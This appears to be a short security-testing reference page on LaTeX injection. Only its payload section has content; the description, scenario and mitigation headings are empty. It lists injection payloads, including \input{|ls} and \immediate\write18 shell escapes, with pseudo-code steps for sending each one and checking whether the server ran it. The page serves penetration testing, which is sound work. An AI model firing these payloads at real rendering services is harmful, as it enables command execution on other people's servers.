LaTeX Injection
Description
Example with Scenario
Payloads and Test Cases
\input{|ls}\begin{document} \section{Injected Section} \end{document}\immediate\write18{touch /tmp/hacked}
\input{|ls}% Send payload to the server sendPayloadToServer("\\input{|ls}"); % Verify if the application executes the ls command checkServerResponseForDirectoryListing();
\begin{document} \section{Injected Section} \end{document}% Send payload to the server sendPayloadToServer("\\begin{document}\\section{Injected Section}\\end{document}"); % Verify if the application renders the injected section checkPDFForInjectedSection("Injected Section");
\immediate\write18{touch /tmp/hacked}% Send payload to the server sendPayloadToServer("\\immediate\\write18{touch /tmp/hacked}"); % Verify if the application runs the shell command checkServerForFile("/tmp/hacked");
Mitigation
Last updated